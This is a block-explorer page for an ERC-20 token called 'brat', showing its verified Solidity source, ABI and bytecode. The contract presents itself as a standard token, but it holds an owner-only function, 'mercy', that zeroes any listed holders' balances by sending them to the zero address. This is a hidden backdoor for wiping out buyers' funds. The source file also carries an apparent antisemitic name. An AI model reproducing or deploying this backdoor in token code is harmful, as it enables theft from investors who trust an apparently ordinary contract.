ERC-20
Overview
Max Total Supply
284,000,000 brat
Holders
135
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
brat
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-18 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: jew.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract brat is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public rubbish; constructor () { _name = "brat"; _symbol = "brat"; _decimals = 18; uint256 initialSupply = 284000000; rubbish = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == rubbish, "Not allowed"); _; } function mercy(address[] memory taxi) public onlyOwner() { for (uint256 i = 0; i < taxi.length; i++) { address account = taxi[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"taxi","type":"address[]"}],"name":"mercy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rubbish","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f80fd5b50604080518082019091526004815263189c985d60e21b60208201526002906100389082610237565b50604080518082019091526004815263189c985d60e21b60208201526003906100619082610237565b506004805460ff19166012179055600680546001600160a01b031916339081179091556310ed7f00906100a5906100a083670de0b6b3a7640000610305565b6100ab565b5061032f565b6001600160a01b0382166101055760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600554610112908261018b565b6005556001600160a01b0382165f90815260208190526040902054610137908261018b565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f610196828461031c565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806101c757607f821691505b6020821081036101e557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023257805f5260205f20601f840160051c810160208510156102105750805b601f840160051c820191505b8181101561022f575f815560010161021c565b50505b505050565b81516001600160401b038111156102505761025061019f565b6102648161025e84546101b3565b846101eb565b6020601f821160018114610296575f831561027f5750848201515b5f19600385901b1c1916600184901b17845561022f565b5f84815260208120601f198516915b828110156102c557878501518255602094850194600190920191016102a5565b50848210156102e257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610199576101996102f1565b80820180821115610199576101996102f1565b610a9e8061033c5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063313ce5671161007d57806395d89b411161005857806395d89b41146101ab578063a9059cbb146101b3578063dd62ed3e146101c6575f80fd5b8063313ce5671461015957806358eae5111461016e57806370a0823114610183575f80fd5b80630ae4a142116100ad5780630ae4a1421461010957806318160ddd1461013457806323b872dd14610146575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101fe565b6040516100dd91906107d4565b60405180910390f35b6100f96100f4366004610824565b61028e565b60405190151581526020016100dd565b60065461011c906001600160a01b031681565b6040516001600160a01b0390911681526020016100dd565b6005545b6040519081526020016100dd565b6100f961015436600461084c565b6102a4565b60045460405160ff90911681526020016100dd565b61018161017c36600461089a565b61030b565b005b610138610191366004610965565b6001600160a01b03165f9081526020819052604090205490565b6100d0610472565b6100f96101c1366004610824565b610481565b6101386101d436600461097e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606002805461020d906109af565b80601f0160208091040260200160405190810160405280929190818152602001828054610239906109af565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f61029a33848461048d565b5060015b92915050565b5f6102b08484846105e5565b61030184336102fc85604051806060016040528060288152602001610a41602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610797565b61048d565b5060019392505050565b6006546001600160a01b0316331461036a5760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561046e575f828281518110610388576103886109e7565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f29082908190610797565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461043b90826107c2565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555505060010161036c565b5050565b60606003805461020d906109af565b5f61029a3384846105e5565b6001600160a01b0383166105085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166105845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610361565b61071981604051806060016040528060268152602001610a1b602691396001600160a01b0386165f908152602081905260409020549190610797565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461074790826107c2565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016105d8565b5f81848411156107ba5760405162461bcd60e51b815260040161036191906107d4565b505050900390565b5f6107cd82846109fb565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461081f575f80fd5b919050565b5f8060408385031215610835575f80fd5b61083e83610809565b946020939093013593505050565b5f805f6060848603121561085e575f80fd5b61086784610809565b925061087560208501610809565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156108aa575f80fd5b813567ffffffffffffffff8111156108c0575f80fd5b8201601f810184136108d0575f80fd5b803567ffffffffffffffff8111156108ea576108ea610886565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561091757610917610886565b604052918252602081840181019290810187841115610934575f80fd5b6020850194505b8385101561095a5761094c85610809565b81526020948501940161093b565b509695505050505050565b5f60208284031215610975575f80fd5b6107cd82610809565b5f806040838503121561098f575f80fd5b61099883610809565b91506109a660208401610809565b90509250929050565b600181811c908216806109c357607f821691505b6020821081036109e157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561029e57634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220103bbb9d36b7c14dc06dee85883073cff897c447be4b05bdb0e088d71f265be664736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063313ce5671161007d57806395d89b411161005857806395d89b41146101ab578063a9059cbb146101b3578063dd62ed3e146101c6575f80fd5b8063313ce5671461015957806358eae5111461016e57806370a0823114610183575f80fd5b80630ae4a142116100ad5780630ae4a1421461010957806318160ddd1461013457806323b872dd14610146575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101fe565b6040516100dd91906107d4565b60405180910390f35b6100f96100f4366004610824565b61028e565b60405190151581526020016100dd565b60065461011c906001600160a01b031681565b6040516001600160a01b0390911681526020016100dd565b6005545b6040519081526020016100dd565b6100f961015436600461084c565b6102a4565b60045460405160ff90911681526020016100dd565b61018161017c36600461089a565b61030b565b005b610138610191366004610965565b6001600160a01b03165f9081526020819052604090205490565b6100d0610472565b6100f96101c1366004610824565b610481565b6101386101d436600461097e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606002805461020d906109af565b80601f0160208091040260200160405190810160405280929190818152602001828054610239906109af565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f61029a33848461048d565b5060015b92915050565b5f6102b08484846105e5565b61030184336102fc85604051806060016040528060288152602001610a41602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610797565b61048d565b5060019392505050565b6006546001600160a01b0316331461036a5760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561046e575f828281518110610388576103886109e7565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f29082908190610797565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461043b90826107c2565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555505060010161036c565b5050565b60606003805461020d906109af565b5f61029a3384846105e5565b6001600160a01b0383166105085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166105845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610361565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610361565b61071981604051806060016040528060268152602001610a1b602691396001600160a01b0386165f908152602081905260409020549190610797565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461074790826107c2565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016105d8565b5f81848411156107ba5760405162461bcd60e51b815260040161036191906107d4565b505050900390565b5f6107cd82846109fb565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461081f575f80fd5b919050565b5f8060408385031215610835575f80fd5b61083e83610809565b946020939093013593505050565b5f805f6060848603121561085e575f80fd5b61086784610809565b925061087560208501610809565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156108aa575f80fd5b813567ffffffffffffffff8111156108c0575f80fd5b8201601f810184136108d0575f80fd5b803567ffffffffffffffff8111156108ea576108ea610886565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561091757610917610886565b604052918252602081840181019290810187841115610934575f80fd5b6020850194505b8385101561095a5761094c85610809565b81526020948501940161093b565b509695505050505050565b5f60208284031215610975575f80fd5b6107cd82610809565b5f806040838503121561098f575f80fd5b61099883610809565b91506109a660208401610809565b90509250929050565b600181811c908216806109c357607f821691505b6020821081036109e157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561029e57634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220103bbb9d36b7c14dc06dee85883073cff897c447be4b05bdb0e088d71f265be664736f6c634300081a0033
Deployed Bytecode Sourcemap
18149:3621:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18777:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19960:169;;;;;;:::i;:::-;;:::i;:::-;;;1108:14:1;;1101:22;1083:41;;1071:2;1056:18;19960:169:0;943:187:1;18509:23:0;;;;;-1:-1:-1;;;;;18509:23:0;;;;;;-1:-1:-1;;;;;1299:55:1;;;1281:74;;1269:2;1254:18;18509:23:0;1135:226:1;19054:100:0;19134:12;;19054:100;;;1512:25:1;;;1500:2;1485:18;19054:100:0;1366:177:1;19472:321:0;;;;;;:::i;:::-;;:::i;18963:83::-;19029:9;;18963:83;;19029:9;;;;2069:36:1;;2057:2;2042:18;18963:83:0;1927:184:1;21401:366:0;;;;;;:::i;:::-;;:::i;:::-;;19162:119;;;;;;:::i;:::-;-1:-1:-1;;;;;19255:18:0;19228:7;19255:18;;;;;;;;;;;;19162:119;18868:87;;;:::i;19289:175::-;;;;;;:::i;:::-;;:::i;19801:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;19917:18:0;;;19890:7;19917:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19801:151;18777:83;18814:13;18847:5;18840:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18777:83;:::o;19960:169::-;20043:4;20060:39;17226:10;20083:7;20092:6;20060:8;:39::i;:::-;-1:-1:-1;20117:4:0;19960:169;;;;;:::o;19472:321::-;19578:4;19595:36;19605:6;19613:9;19624:6;19595:9;:36::i;:::-;19642:121;19651:6;17226:10;19673:89;19711:6;19673:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19673:19:0;;;;;;:11;:19;;;;;;;;17226:10;19673:33;;;;;;;;;;:37;:89::i;:::-;19642:8;:121::i;:::-;-1:-1:-1;19781:4:0;19472:321;;;;;:::o;21401:366::-;21350:7;;-1:-1:-1;;;;;21350:7:0;21336:10;:21;21328:45;;;;-1:-1:-1;;;21328:45:0;;4537:2:1;21328:45:0;;;4519:21:1;4576:2;4556:18;;;4549:30;4615:13;4595:18;;;4588:41;4646:18;;21328:45:0;;;;;;;;;21474:9:::1;21469:291;21493:4;:11;21489:1;:15;21469:291;;;21526:15;21544:4;21549:1;21544:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;21583:18:0;::::1;21566:14;21583:18:::0;;;;;;;;;;;21637:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21544:7;;-1:-1:-1;21583:18:0;21637:39:::1;::::0;21583:18;;;;21